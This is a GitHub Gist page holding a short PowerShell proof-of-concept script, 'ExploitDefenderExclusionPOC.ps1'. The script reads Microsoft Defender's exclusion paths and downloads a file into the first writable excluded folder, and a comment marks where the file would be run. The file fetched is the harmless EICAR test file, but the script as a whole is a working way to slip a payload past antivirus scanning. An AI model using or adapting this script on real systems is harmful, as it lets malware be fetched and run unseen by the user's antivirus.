Created
March 24, 2020 11:23
-
-
Save packmad/ab725f7e0d8eb00f1cf4c9e656cbf7f0 to your computer and use it in GitHub Desktop.
ExploitDefenderExclusionPOC.ps1
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ExPath = (Get-MpPreference).ExclusionPath | |
if ($ExPath.Length -gt 0) { | |
foreach ($path in $ExPath) { | |
try { | |
$url = "https://secure.eicar.org/eicar.com" | |
$output = Join-Path -Path $path -ChildPath "eicar.com" | |
Invoke-WebRequest -Uri $url -OutFile $output | |
Write-Host "Dropped malicious file -> '$($output)'" | |
# Execute $output ... | |
return | |
} | |
catch{} | |
} | |
Write-Host "No writeable folders in ExclusionPath" | |
} | |
else { | |
Write-Host "No exclusions" | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment